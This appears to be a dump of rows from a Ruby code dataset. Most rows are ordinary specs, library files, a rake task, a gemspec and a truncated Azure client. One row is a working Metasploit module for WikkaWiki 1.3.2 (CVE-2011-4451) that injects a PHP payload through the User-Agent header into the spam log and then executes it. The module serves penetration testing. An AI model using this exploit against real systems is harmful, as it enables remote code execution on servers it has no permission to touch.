hexsha
stringlengths
40
40
size
int64
2
1.01M
content
stringlengths
2
1.01M
avg_line_length
float64
1.5
100
max_line_length
int64
2
1k
alphanum_fraction
float64
0.25
1
5db94f1394475959500c4887306e1f80afba5ac6
806
# frozen_string_literal: true describe RuboCop::Cop::Layout::MultilineMethodDefinitionBraceLayout, :config do subject(:cop) { described_class.new(config) } let(:cop_config) { { 'EnforcedStyle' => 'symmetrical' } } it 'ignores implicit defs' do expect_no_offenses(<<-RUBY.strip_indent) def foo a: 1, b: 2 end RUBY end it 'ignores single-line defs' do expect_no_offenses(<<-RUBY.strip_indent) def foo(a,b) end RUBY end it 'ignores defs without params' do expect_no_offenses(<<-RUBY.strip_indent) def foo end RUBY end include_examples 'multiline literal brace layout' do let(:prefix) { 'def foo' } let(:suffix) { 'end' } let(:open) { '(' } let(:close) { ')' } let(:multi_prefix) { 'b: ' } end end
21.210526
79
0.626551
edd0d64f3149c7ca090d5db5f4036209fc21dee3
711
require 'test_helper' class MicropostTest < ActiveSupport::TestCase def setup @user = users(:michael) @micropost = @user.microposts.build(content: "Lorem ipsum") end test "should be valid" do assert @micropost.valid? end test "user id should be present" do @micropost.user_id = nil assert_not @micropost.valid? end test "content should be present" do @micropost.content = " " assert_not @micropost.valid? end test "content should be at most 140 characters" do @micropost.content = "a" * 141 assert_not @micropost.valid? end test "order should be most recent first" do assert_equal microposts(:most_recent), Micropost.first end end
22.935484
63
0.687764
38a2e55ed1ac8b0042334f6f9d5b10c04c56c979
400
module Sinatra module Param module Coercions class IntegerCoercion < BaseCoercion Coercions.register(:integer, self) def apply return value if value.is_a?(Integer) Integer(value, 10) rescue ::ArgumentError raise InvalidParameterError, %(Parameter #{name} value "#{value}" must be an Integer) end end end end end
22.222222
95
0.62
799b2dbd12c8c3ad4f898c92e86ecba47f93bc6a
3,439
require "spec_helper" describe Mongoid::Relations do before(:all) do Person.field( :_id, type: BSON::ObjectId, pre_processed: true, default: ->{ BSON::ObjectId.new }, overwrite: true ) end describe "#embedded?" do let(:person) do Person.new end let(:document) do Email.new end context "when the document has a parent" do before do document.parentize(person) end it "returns true" do expect(document).to be_embedded end end context "when the document has no parent" do context "when the document is embedded in" do it "returns true" do expect(document).to be_embedded end end context "when the document class is not embedded in" do it "returns false" do expect(person).to_not be_embedded end end end context "when the document is subclassed" do context "when the document has no parent" do it "returns false" do expect(Item).to_not be_embedded end end end context "when the document is a subclass" do context "when the document has a parent" do it "returns true" do expect(SubItem).to be_embedded end end end end describe "#embedded_many?" do let(:person) do Person.new end context "when the document is in an embeds_many" do let(:address) do person.addresses.build end it "returns true" do expect(address).to be_an_embedded_many end end context "when the document is not in an embeds_many" do let(:name) do person.build_name(first_name: "Test") end it "returns false" do expect(name).to_not be_an_embedded_many end end end describe "#embedded_one?" do let(:person) do Person.new end context "when the document is in an embeds_one" do let(:name) do person.build_name(first_name: "Test") end it "returns true" do expect(name).to be_an_embedded_one end end context "when the document is not in an embeds_one" do let(:address) do person.addresses.build end it "returns false" do expect(address).to_not be_an_embedded_one end end end describe "#referenced_many?" do let(:person) do Person.new end context "when the document is in an references_many" do let(:post) do person.posts.build end it "returns true" do expect(post).to be_a_referenced_many end end context "when the document is not in an references_many" do let(:game) do person.build_game(score: 1) end it "returns false" do expect(game).to_not be_a_referenced_many end end end describe "#referenced_one?" do let(:person) do Person.new end context "when the document is in an references_one" do let(:game) do person.build_game(score: 1) end it "returns true" do expect(game).to be_a_referenced_one end end context "when the document is not in an references_one" do let(:post) do person.posts.build end it "returns false" do expect(post).to_not be_a_referenced_one end end end end
18.1
63
0.597848
33b15d0b67364893b8ea9bb082724d1156be62e0
49
module SamplePrivateLib1 VERSION = "0.1.0" end
12.25
24
0.734694
793d5dc4dc05fd7702fb17907141b23b5e6d715a
1,301
require_relative "spec_helper" describe LineUnit do it "parses nested italic and bold" do assert_equal 'outside<b><i>i</i>b</b>', parse('outside***i*b**').join end it "parses code" do assert_equal '<code class="highlight">\\\\code</code>', parse('`\\\\code`').join assert_equal '<code class="highlight">c`ode</code>', parse('``c`ode``').join assert_equal '<code class="highlight"> </code>`', parse('`` ```').join end it "parses math" do assert_equal '<code class="math">\\\\math\$ </code>', parse('$\\\\math\$ $').join end it "parses link" do assert_equal '<a href="href" rel="nofollow">a</a>', parse('[a](href)').join end it "parses footnote" do assert_equal '<a href="#footnote-1">1</a>', parse('[.](first note)').join assert_equal '<a href="#footnote-2">two</a>', parse('[.two](second note)').join assert_equal [:footnote_id_ref, 1], parse('[:1]').first assert_equal [:footnote_id_ref, 22], parse('[:22]').first assert_equal [:footnote_acronym_ref, "two"], parse('[:two]').first end it "won't parse footnot in sandbox mode" do make_sandbox_env first_note = '[.](first note)' assert_equal first_note, parse('[.](first note)').join end def parse src l = LineUnit.new @env, src, nil l.parse [] end end
31.731707
85
0.624135
6ad65a8c5c72b5436bbf571e6bdec40917fea26b
2,880
# coding: utf-8 require File.expand_path(File.dirname(__FILE__) + '/acceptance_helper') feature "Credits Feature" do before do fake_login user.update_attribute :credits, 60 @backers = [ Factory(:backer, user: user, confirmed: true, can_refund: true, requested_refund: false, refunded: false, value: 10, created_at: 8.days.ago), ] user.reload click_link I18n.t('layouts.header.account') verify_translations click_link 'Meus créditos' verify_translations current_path.should == user_path(user) within 'head title' do page.should have_content("#{user.display_name} · #{I18n.t('site.name')}") end end scenario "I have backs to refund but not enough credits" do user.update_attribute :credits, 5 rows = all("#user_credits table tbody tr") # And now I try to request refund for the fourth row, but don't have enough credits within rows[0] do rows[0].find(".status").find('a').click verify_translations column = rows[0].all("td")[4] # Needed this sleep because have_content is not returning the right value and thus capybara does not know it has to way for the AJAX to finish sleep 1 column.text.should == "Você não possui créditos suficientes para realizar este estorno." end click_on "OK" verify_translations user.reload.credits.should == 5 find("#current_credits").should have_content(user.display_credits) end scenario "I have credits and backs to refund" do find("#current_credits").should have_content(user.display_credits) rows = all("#user_credits table tbody tr") rows.should have(1).items # Testing the content of the whole table rows.each do |row| columns = row.all("td") id = row[:id].split("_").last backer = @backers.first columns[0].find("a")[:href].should match(/\/projects\/#{backer.project.to_param}/) columns[1].text.should == I18n.l(backer.created_at.to_date) columns[2].text.should == backer.display_value columns[3].text.should == I18n.l(backer.refund_deadline.to_date) columns[4].text.should == "Solicitar estorno" end # Disabling javascript confirm, because we cannot test it with Capybara page.evaluate_script('window.confirm = function() { return true; }') # Requesting refund for the third row within rows[0] do rows[0].find(".status").find('a').click verify_translations column = rows[0].all("td")[4] # Needed this sleep because have_content is not returning the right value and thus capybara does not know it has to way for the AJAX to finish sleep 1 column.text.should == "Pedido enviado com sucesso" end click_on "OK" verify_translations user.reload user.credits.should == 50 find("#current_credits").should have_content(user.display_credits) end end
35.121951
148
0.686458
33b1894606c3c8fa3feb4719d07aa086d42dc510
3,368
# frozen_string_literal: true require "hanami/application/settings/dotenv_store" require "dotenv" RSpec.describe Hanami::Application::Settings::DotenvStore do def mock_dotenv(store) dotenv = spy(:dotenv) allow(store).to receive(:require).and_call_original stub_const "Dotenv", dotenv end describe "#with_dotenv_loaded" do context "dotenv available and environment other than test" do it "requires and loads a range of dotenv files, specific to the current environment" do store = described_class.new(store: {}, hanami_env: :development) dotenv = mock_dotenv(store) store.with_dotenv_loaded expect(store).to have_received(:require).with("dotenv").ordered expect(dotenv).to have_received(:load).ordered.with( ".env.development.local", ".env.local", ".env.development", ".env" ) end it "returns self" do store = described_class.new(store: {}, hanami_env: :development) expect(store.with_dotenv_loaded).to be(store) end end context "dotenv available and test environment" do it "does not load .env.local (which is intended for non-test settings only)" do store = described_class.new(store: {}, hanami_env: :test) dotenv = mock_dotenv(store) store.with_dotenv_loaded expect(store).to have_received(:require).with("dotenv").ordered expect(dotenv).to have_received(:load).ordered.with( ".env.test.local", ".env.test", ".env" ) end it "returns self" do store = described_class.new(store: {}, hanami_env: :test) expect(store.with_dotenv_loaded).to be(store) end end context "dotenv unavailable" do let(:store) { described_class.new(store: {}) } before do allow(store).to receive(:require).with("dotenv").and_raise LoadError end it "attempts to require dotenv" do store.with_dotenv_loaded expect(store).to have_received(:require).with("dotenv") end it "gracefully ignores load errors" do expect { store.with_dotenv_loaded }.not_to raise_error end it "returns self" do expect(store.with_dotenv_loaded).to be(store) end end end describe "#fetch" do it "fetches from ENV" do store = described_class.new(store: { "FOO" => "bar" }) expect(store.fetch("FOO")).to eq("bar") end it "capitalizes name" do store = described_class.new(store: { "FOO" => "bar" }) expect(store.fetch("foo")).to eq("bar") end it "coerces name to string" do store = described_class.new(store: { "FOO" => "bar" }) expect(store.fetch(:foo)).to eq("bar") end it "returns default when value is not found" do store = described_class.new(store: { "FOO" => "bar" }) expect(store.fetch("BAZ", "qux")).to eq("qux") end it "returns the block execution when value is not found" do store = described_class.new(store: { "FOO" => "bar" }) expect(store.fetch("BAZ") { "qux" }).to eq("qux") end it "raises KeyError when value is not found and no default is given" do store = described_class.new(store: { "FOO" => "bar" }) expect{ store.fetch("BAZ") }.to raise_error(KeyError) end end end
28.066667
93
0.626781
385544d0ffc49d9d19fcfd60f8382fff0b26bec8
856
# == Schema Information # # Table name: locations # # id :bigint not null, primary key # city :string not null # name :string not null # state :string not null # street_address :string not null # zip_code :string not null # created_at :datetime not null # updated_at :datetime not null # buyer_id :bigint not null # class Location < ApplicationRecord belongs_to :buyer, inverse_of: :locations has_many :deliveries, inverse_of: :location, dependent: :restrict_with_error validates :name, :street_address, :city, :state, :zip_code, presence: true def name_with_address "#{name} (#{full_address})" end def full_address "#{street_address}, #{city}, #{state} #{zip_code}" end end
29.517241
78
0.591121
1d9731f755b09f58a65d9ab72be45884ee46b96d
3,020
# Copyright (c) 2007 Blaine Cook, Larry Halff, Pelle Braendgaard # # Permission is hereby granted, free of charge, to any person obtaining # a copy of this software and associated documentation files (the # "Software"), to deal in the Software without restriction, including # without limitation the rights to use, copy, modify, merge, publish, # distribute, sublicense, and/or sell copies of the Software, and to # permit persons to whom the Software is furnished to do so, subject to # the following conditions: # # The above copyright notice and this permission notice shall be # included in all copies or substantial portions of the Software. # # THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, # EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF # MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND # NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE # LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION # OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION # WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. # # Includes modifications by Robin Luckey from: # http://github.com/robinluckey/oauth/tree/master/lib%2Foauth%2Frequest_proxy%2Faction_controller_request.rb require 'rubygems' require 'active_support' require 'action_controller/request' require 'oauth/request_proxy/base' require 'uri' module OAuth::RequestProxy #:nodoc: all class ActionControllerRequest < OAuth::RequestProxy::Base proxies ActionController::AbstractRequest def method request.method.to_s.upcase end def uri uri = URI.parse(request.protocol + request.host + request.port_string + request.path) uri.query = nil uri.to_s end def parameters if options[:clobber_request] options[:parameters] || {} else params = request_params.merge(query_params).merge(header_params) params.stringify_keys! if params.respond_to?(:stringify_keys!) params.merge(options[:parameters] || {}) end end # Override from OAuth::RequestProxy::Base to avoid roundtrip # conversion to Hash or Array and thus preserve the original # parameter names def parameters_for_signature params = [] params << options[:parameters].to_query if options[:parameters] unless options[:clobber_request] params << header_params.to_query params << CGI.unescape(request.query_string) unless request.query_string.blank? if request.content_type == Mime::Type.lookup("application/x-www-form-urlencoded") params << CGI.unescape(request.raw_post) end end params. join('&').split('&'). reject { |kv| kv =~ /^oauth_signature=.*/}. reject(&:blank?). map { |p| p.split('=') } end protected def query_params request.query_parameters end def request_params request.request_parameters end end end
34.318182
108
0.70894
2649c2647c3d59493f2752050fe8af98b6adc57d
4,645
require_relative '../system/repositories/proposals' require_relative '../system/repositories/votes' require_relative '../system/models/vote' require_relative 'test_support/fixture' describe 'Vote' do before(:each) do Repository::Votes.clear end after(:each) do Repository::Votes.clear end it 'saves a vote in a repository' do vote = Vote.new(id_proposal: Fixture::ID_PROPOSAL, user: Fixture::RECIPIENT, decision: Fixture::VOTE) Repository::Votes.save(vote) expect(vote.id_proposal).to eq(Fixture::ID_PROPOSAL) end it 'returns a vote' do vote = Vote.new(id_proposal: Fixture::ID_PROPOSAL, user: Fixture::RECIPIENT, decision: Fixture::VOTE) Repository::Votes.save(vote) vote2 = Vote.new(id_proposal: Fixture::SECOND_ID_PROPOSAL, user: Fixture::RECIPIENT, decision: Fixture::VOTE) Repository::Votes.save(vote2) response = Repository::Votes.retrieve(Fixture::ID_PROPOSAL, Fixture::RECIPIENT) second_response = Repository::Votes.retrieve(Fixture::SECOND_ID_PROPOSAL, Fixture::RECIPIENT) expect(response.id_proposal).to eq(Fixture::ID_PROPOSAL) expect(second_response.id_proposal).to eq(Fixture::SECOND_ID_PROPOSAL) end it 'returns all votes' do Repository::Votes.clear vote1 = Vote.new(id_proposal: Fixture::ID_PROPOSAL, user: 'uno', decision: 'consensus') Repository::Votes.save(vote1) vote2 = Vote.new(id_proposal: Fixture::ID_PROPOSAL, user: 'dos', decision: 'consensus') Repository::Votes.save(vote2) vote3 = Vote.new(id_proposal: Fixture::ID_PROPOSAL, user: 'tres', decision: 'disensus') Repository::Votes.save(vote3) # total_voted = Repository::Votes.votes_from_proposal(Fixture::ID_PROPOSAL).count voted_consensus = Repository::Votes.consensus_count(Fixture::ID_PROPOSAL) voted_disensus = Repository::Votes.disensus_count(Fixture::ID_PROPOSAL) expect(voted_consensus).to eq(2) expect(voted_disensus).to eq(1) # expect(total_voted).to eq(3) end it 'belongs to an independent proposal' do Repository::Votes.clear first_proposal = Proposal.new( proposer: Fixture::PROPOSER, involved: Fixture::INVOLVED, proposal: Fixture::PROPOSAL, domain_link: Fixture::DOMAIN_LINK, consensus_email: Fixture::CONSENSUS_EMAIL ) second_proposal = Proposal.new( proposer: Fixture::PROPOSER, involved: Fixture::INVOLVED, proposal: Fixture::SECOND_PROPOSAL, domain_link: Fixture::DOMAIN_LINK, consensus_email: Fixture::CONSENSUS_EMAIL ) first_vote = Vote.new(id_proposal: first_proposal.id_proposal, user: 'uno', decision: 'consensus') Repository::Votes.save(first_vote) second_vote = Vote.new(id_proposal: second_proposal.id_proposal, user: 'uno', decision: 'disensus') Repository::Votes.save(second_vote) first_proposal_consensus_quantity = Repository::Votes.consensus_count(first_proposal.id_proposal) first_proposal_disensus_quantity = Repository::Votes.disensus_count(first_proposal.id_proposal) second_proposal_consensus_quantity = Repository::Votes.consensus_count(second_proposal.id_proposal) second_proposal_disensus_quantity = Repository::Votes.disensus_count(second_proposal.id_proposal) expect(first_proposal_consensus_quantity).to eq(1) expect(first_proposal_disensus_quantity).to eq(0) expect(second_proposal_consensus_quantity).to eq(0) expect(second_proposal_disensus_quantity).to eq(1) end it 'only if user is included in circle' do Repository::Votes.clear Repository::Proposals.clear user = '[email protected]' first_proposal = Proposal.new( id_proposal: Fixture::ID_PROPOSAL, proposer: Fixture::PROPOSER, involved: ['[email protected]', user], proposal: Fixture::PROPOSAL, domain_link: Fixture::DOMAIN_LINK, consensus_email: Fixture::CONSENSUS_EMAIL ) Repository::Proposals.save(first_proposal) second_proposal = Proposal.new( id_proposal: Fixture::SECOND_ID_PROPOSAL, proposer: Fixture::PROPOSER, involved: ['[email protected]', '[email protected]'], proposal: Fixture::SECOND_PROPOSAL, domain_link: Fixture::DOMAIN_LINK, consensus_email: Fixture::CONSENSUS_EMAIL ) Repository::Proposals.save(second_proposal) user_included_in_first_proposal = Repository::Proposals.user_included?(first_proposal.id_proposal, user) user_included_in_second_proposal = Repository::Proposals.user_included?(second_proposal.id_proposal, user) expect(user_included_in_first_proposal).to eq(true) expect(user_included_in_second_proposal).to eq(false) end end
40.043103
113
0.746609
ab329958cc99291f054fde42dbd6c4886347801e
348
Rails.application.routes.draw do resources :projects resources :projects do resources :comments end root 'projects#index' get 'project_comments_path' => "comments#create" devise_for :project_users do get '/project_users/sign_out' => 'devise/sessions#destroy' end get 'projects/image/:id' => 'projects#image' end
19.333333
62
0.706897
62f5910475176765d66dab67bfda82d411baaba8
1,207
# This file is based on https://gitlab.com/gitlab-org/gitlab-ce/blob/master/lib/tasks/spinach.rake # Authored by Kamil Trzcinski <[email protected]> require 'colorize' namespace :spinach do desc 'run spinach tests with rerun reporter' task :rerun do run_spinach_tests end end def tags ENV['SPINACH_RERUN_TAGS'] end def rerun_file ENV['SPINACH_RERUN_FILE'] || 'tmp/spinach-rerun.txt' end def retry_count ENV['SPINACH_RERUN_RETRY_COUNT'] ? ENV['SPINACH_RERUN_RETRY_COUNT'].to_i : 3 end def prepend_cmd ENV['SPINACH_RERUN_PREPEND_CMD'] || nil end def run_command(cmd) env = {'RAILS_ENV' => 'test', 'SPINACH_RERUN_FILE' => rerun_file} system(env, *cmd.compact) end def run_spinach(args) run_command([prepend_cmd] + %w[spinach -r rerun] + args) end def run_spinach_tests success = run_spinach(tags ? %W[--tags #{tags}] : [nil]) retry_count.times do break if success break unless File.exist?(rerun_file) tests = File.foreach(rerun_file).map(&:chomp) puts '' puts "Spinach tests for #{tags}: Retrying tests... #{tests}".red puts '' sleep(3) success = run_spinach(tests) end raise("spinach tests for #{tags} failed!".red) unless success end
22.351852
98
0.710025
f77f36f07e012ec2ae9c607a906c6e38380702a6
1,082
# coding: utf-8 lib = File.expand_path('../lib', __FILE__) $LOAD_PATH.unshift(lib) unless $LOAD_PATH.include?(lib) require 'opal/version' Gem::Specification.new do |s| s.name = 'opal' s.version = Opal::VERSION s.author = 'Adam Beynon' s.email = '[email protected]' s.homepage = 'http://opalrb.org' s.summary = 'Ruby runtime and core library for javascript' s.description = 'Ruby runtime and core library for javascript.' s.license = 'MIT' s.files = `git ls-files`.split("\n") s.executables = `git ls-files -- bin/*`.split("\n").map{ |f| File.basename(f) } s.test_files = `git ls-files -- {test,spec,features}/*`.split("\n") s.require_paths = ['lib'] s.add_dependency 'source_map' s.add_dependency 'sprockets' s.add_development_dependency 'mspec', '1.5.20' s.add_development_dependency 'rake' s.add_development_dependency 'racc' s.add_development_dependency 'rspec', '~> 2.14' s.add_development_dependency 'octokit', '~> 2.4.0' s.add_development_dependency 'bundler', '~> 1.5' end
34.903226
83
0.655268
3953f497197516eca41749b8aabcb62ed7b8298b
313
cask "font-almendra-sc" do version :latest sha256 :no_check url "https://github.com/google/fonts/raw/main/ofl/almendrasc/AlmendraSC-Regular.ttf", verified: "github.com/google/fonts/" name "Almendra SC" homepage "https://fonts.google.com/specimen/Almendra+SC" font "AlmendraSC-Regular.ttf" end
26.083333
87
0.731629
bbddb30b5dc15177671eb513515d7b9dfd6c83f0
6,784
## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient def initialize(info={}) super(update_info(info, 'Name' => "WikkaWiki 1.3.2 Spam Logging PHP Injection", 'Description' => %q{ This module exploits a vulnerability found in WikkaWiki. When the spam logging feature is enabled, it is possible to inject PHP code into the spam log file via the UserAgent header , and then request it to execute our payload. There are at least three different ways to trigger spam protection, this module does so by generating 10 fake URLs in a comment (by default, the max_new_comment_urls parameter is 6). Please note that in order to use the injection, you must manually pick a page first that allows you to add a comment, and then set it as 'PAGE'. }, 'License' => MSF_LICENSE, 'Author' => [ 'EgiX', #Initial discovery, PoC 'sinn3r' #Metasploit ], 'References' => [ ['CVE', '2011-4451'], ['EDB', '18177'] ], 'Payload' => { 'BadChars' => "\x00" }, 'DefaultOptions' => { 'EXITFUNC' => 'thread' }, 'Arch' => ARCH_PHP, 'Platform' => ['php'], 'Targets' => [ ['WikkaWiki 1.3.2 r1814', {}] ], 'Privileged' => false, 'DisclosureDate' => "Nov 30 2011", 'DefaultTarget' => 0)) register_options( [ OptString.new('USERNAME', [true, 'WikkaWiki username']), OptString.new('PASSWORD', [true, 'WikkaWiki password']), OptString.new('PAGE', [true, 'Page to inject']), OptString.new('TARGETURI', [true, 'The URI path to WikkaWiki', '/wikka/']) ], self.class) end def check uri = normalize_uri(target_uri.path) res = send_request_raw({ 'method' => 'GET', 'uri' => "#{uri}/wikka.php?wakka=HomePage" }) if res and res.body =~ /Powered by WikkaWiki/ return Exploit::CheckCode::Detected else return Exploit::CheckCode::Safe end end # # Get the cookie before we do any of that login/exploity stuff # def get_cookie res = send_request_raw({ 'method' => 'GET', 'uri' => normalize_uri(@base, "wikka.php") }) # Get the cookie in this format: # 96522b217a86eca82f6d72ef88c4c7f4=pr5sfcofh5848vnc2sm912ean2; path=/wikka if res and !res.get_cookies.empty? cookie = res.get_cookies else fail_with(Failure::Unknown, "#{peer} - No cookie found, will not continue") end cookie end # # Do login, and then return the cookie that contains our credential # def login(cookie) # Send a request to the login page so we can obtain some hidden values needed for login uri = normalize_uri(@base, "wikka.php") + "?wakka=UserSettings" res = send_request_raw({ 'method' => 'GET', 'uri' => uri, 'cookie' => cookie }) # Extract the hidden fields login = {} if res and res.body =~ /\<div id\=\"content\"\>.+\<fieldset class\=\"hidden\"\>(.+)\<\/fieldset\>.+\<legend\>Login\/Register\<\/legend\>/m fields = $1.scan(/\<input type\=\"hidden\" name\=\"(\w+)\" value\=\"(\w+)\" \/>/) fields.each do |name, value| login[name] = value end else fail_with(Failure::Unknown, "#{peer} - Unable to find the hidden fieldset required for login") end # Add the rest of fields required for login login['action'] = 'login' login['name'] = datastore['USERNAME'] login['password'] = datastore['PASSWORD'] login['do_redirect'] = 'on' login['submit'] = "Login" login['confpassword'] = '' login['email'] = '' port = (rport.to_i == 80) ? "" : ":#{rport}" res = send_request_cgi({ 'method' => 'POST', 'uri' => uri, 'cookie' => cookie, 'headers' => { 'Referer' => "http://#{rhost}#{port}#{uri}" }, 'vars_post' => login }) if res and res.get_cookies =~ /user_name/ c = res.get_cookies user = c.scan(/(user_name\@\w+=\w+);/)[0] || "" pass = c.scan(/(pass\@\w+=\w+)/)[0] || "" cookie_cred = "#{cookie}; #{user}; #{pass}" else cred = "#{datastore['USERNAME']}:#{datastore['PASSWORD']}" fail_with(Failure::Unknown, "#{peer} - Unable to login with \"#{cred}\"") end return cookie_cred end # # After login, we inject the PHP payload # def inject_exec(cookie) # Get the necessary fields in order to post a comment res = send_request_raw({ 'method' => 'GET', 'uri' => normalize_uri(@base, "wikka.php") + "?wakka=#{datastore['PAGE']}&show_comments=1", 'cookie' => cookie }) fields = {} if res and res.body =~ /\<form action\=.+processcomment.+\<fieldset class\=\"hidden\"\>(.+)\<\/fieldset\>/m $1.scan(/\<input type\=\"hidden\" name\=\"(\w+)\" value\=\"(.+)\" \/>/).each do |n, v| fields[n] = v end else fail_with(Failure::Unknown, "#{peer} - Cannot get necessary fields before posting a comment") end # Generate enough URLs to trigger spam logging urls = '' 10.times do |i| urls << "http://www.#{rand_text_alpha_lower(rand(10)+6)}.#{['com', 'org', 'us', 'info'].sample}\n" end # Add more fields fields['body'] = urls fields['submit'] = 'Add' # Inject payload b64_payload = Rex::Text.encode_base64(payload.encoded) port = (rport.to_i == 80) ? "" : ":#{rport}" uri = normalize_uri("#{@base}wikka.php?wakka=#{datastore['PAGE']}/addcomment") post_data = "" send_request_cgi({ 'method' => 'POST', 'uri' => uri, 'cookie' => cookie, 'headers' => { 'Referer' => "http://#{rhost}:#{port}/#{uri}" }, 'vars_post' => fields, 'agent' => "<?php #{payload.encoded} ?>" }) send_request_raw({ 'method' => 'GET', 'uri' => normalize_uri(@base, "spamlog.txt.php") }) end def exploit @base = normalize_uri(target_uri.path) @base << '/' if @base[-1, 1] != '/' print_status("Getting cookie") cookie = get_cookie print_status("Logging in") cred = login(cookie) print_status("Triggering spam logging") inject_exec(cred) handler end end =begin For testing: svn -r 1814 co https://wush.net/svn/wikka/trunk wikka Open wikka.config.php, do: 'spam_logging' => '1' =end
29.241379
142
0.563384
bf3de36eb45f244cb65023a633838c0158a250b5
4,371
# frozen_string_literal: true module Ser class Ializer # rubocop:disable Metrics/ClassLength @@method_registry = {} # rubocop:disable Style/ClassVars class << self def config @config ||= if equal? Ser::Ializer ::Ializer.config else superclass.config end end def setup @config = config.dup yield @config end # Public DSL def property(name, options = {}, &block) return add_attribute(Field.new(name, options, config, &block)) if options[:deser] return default(name, options, &block) unless options[:type] meth = lookup_method(options[:type]) return meth.call(name, options, &block) if meth default(name, options, &block) end def nested(name, options = {}, &block) if block deser = create_anon_class deser.class_eval(&block) options[:deser] = deser end add_attribute(Field.new(name, options, config)) end def with(deser) deser._attributes.values.each do |field| add_composed_attribute(field, deser) end end # End Public DSL def serialize(object, context = nil) return serialize_one(object, context) unless valid_enumerable?(object) return [] if object.empty? object.map { |o| serialize_one(o, context) } end def serialize_json(object, context = nil) MultiJson.dump(serialize(object, context)) end def register(method_name, deser, *matchers) raise ArgumentError, 'register should only be called on the Ser::Ializer class' unless self == Ser::Ializer define_singleton_method(method_name) do |name, options = {}, &block| options[:deser] = deser add_attribute Field.new(name, options, config, &block) end matchers.each do |matcher| method_registry[matcher.to_s.to_sym] = method_name end end def register_default(deser) define_singleton_method('default') do |name, options = {}, &block| raise ArgumentError, warning_message(name) if config.raise_on_default? puts warning_message(name) if config.warn_on_default? options[:deser] = deser add_attribute Field.new(name, options, config, &block) end end def attribute_names _attributes.values.map(&:name) end protected def create_anon_class Class.new(Ser::Ializer) end def method_registry @@method_registry end def lookup_method(type) method_name = method_registry[type.to_s.to_sym] return nil unless method_name method(method_name) end def _attributes @attributes ||= if equal? Ser::Ializer {} else superclass._attributes.dup end end private def warning_message(name) "Warning: #{self} using default DeSer for property #{name}" end def add_attribute(field) _attributes[field.key] = field define_singleton_method field.name do |object, context| value = field.get_value(object, context) serialize_field(field, value, context) end end def add_composed_attribute(field, deser) _attributes[field.key] = field define_singleton_method field.name do |object, context| deser.public_send(field.name, object, context) end end def serialize_field(field, value, context) return nil if value.nil? return field.serialize(value, context) unless valid_enumerable?(value) return nil if value.empty? value.map { |v| field.serialize(v, context) } end def serialize_one(object, context) _attributes.values.each_with_object({}) do |field, data| next unless field.valid_for_context?(object, context) value = public_send(field.name, object, context) next if value.nil? data[field.key] = value end end def valid_enumerable?(object) return true if object.is_a? Array return true if defined?(ActiveRecord) && object.is_a?(ActiveRecord::Relation) false end end end end
24.835227
115
0.607184
18a6450223b3560b664de1da78d3af9f2d1bb715
1,148
# # Licensed to the Apache Software Foundation (ASF) under one or more # contributor license agreements. See the NOTICE file distributed with # this work for additional information regarding copyright ownership. The # ASF licenses this file to you under the Apache License, Version 2.0 (the # "License"); you may not use this file except in compliance with the # License. You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, WITHOUT # WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the # License for the specific language governing permissions and limitations # under the License. $:.unshift File.join(File.dirname(__FILE__), '..') require "deltacloud/test_setup.rb" describe 'Deltacloud API realms collection' do include Deltacloud::Test::Methods need_collection :realms #Run the 'common' tests for all collections defined in common_tests_collections.rb CommonCollectionsTest::run_collection_and_member_tests_for("realms") end
38.266667
84
0.777003
5dead2acbfef62ee0968630839413d0658e74820
47,875
# Code generated by Microsoft (R) AutoRest Code Generator. # Changes may cause incorrect behavior and will be lost if the code is # regenerated. module Azure::ApiManagement::Mgmt::V2017_03_01 # # ApiManagement Client # class EmailTemplate include MsRestAzure # # Creates and initializes a new instance of the EmailTemplate class. # @param client service class for accessing basic functionality. # def initialize(client) @client = client end # @return [ApiManagementClient] reference to the ApiManagementClient attr_reader :client # # Lists a collection of properties defined within a service instance. # # @param resource_group_name [String] The name of the resource group. # @param service_name [String] The name of the API Management service. # @param top [Integer] Number of records to return. # @param skip [Integer] Number of records to skip. # @param custom_headers [Hash{String => String}] A hash of custom headers that # will be added to the HTTP request. # # @return [Array<EmailTemplateContract>] operation results. # def list_by_service(resource_group_name, service_name, top:nil, skip:nil, custom_headers:nil) first_page = list_by_service_as_lazy(resource_group_name, service_name, top:top, skip:skip, custom_headers:custom_headers) first_page.get_all_items end # # Lists a collection of properties defined within a service instance. # # @param resource_group_name [String] The name of the resource group. # @param service_name [String] The name of the API Management service. # @param top [Integer] Number of records to return. # @param skip [Integer] Number of records to skip. # @param custom_headers [Hash{String => String}] A hash of custom headers that # will be added to the HTTP request. # # @return [MsRestAzure::AzureOperationResponse] HTTP response information. # def list_by_service_with_http_info(resource_group_name, service_name, top:nil, skip:nil, custom_headers:nil) list_by_service_async(resource_group_name, service_name, top:top, skip:skip, custom_headers:custom_headers).value! end # # Lists a collection of properties defined within a service instance. # # @param resource_group_name [String] The name of the resource group. # @param service_name [String] The name of the API Management service. # @param top [Integer] Number of records to return. # @param skip [Integer] Number of records to skip. # @param [Hash{String => String}] A hash of custom headers that will be added # to the HTTP request. # # @return [Concurrent::Promise] Promise object which holds the HTTP response. # def list_by_service_async(resource_group_name, service_name, top:nil, skip:nil, custom_headers:nil) fail ArgumentError, 'resource_group_name is nil' if resource_group_name.nil? fail ArgumentError, 'service_name is nil' if service_name.nil? fail ArgumentError, "'service_name' should satisfy the constraint - 'MaxLength': '50'" if !service_name.nil? && service_name.length > 50 fail ArgumentError, "'service_name' should satisfy the constraint - 'MinLength': '1'" if !service_name.nil? && service_name.length < 1 fail ArgumentError, "'service_name' should satisfy the constraint - 'Pattern': '^[a-zA-Z](?:[a-zA-Z0-9-]*[a-zA-Z0-9])?$'" if !service_name.nil? && 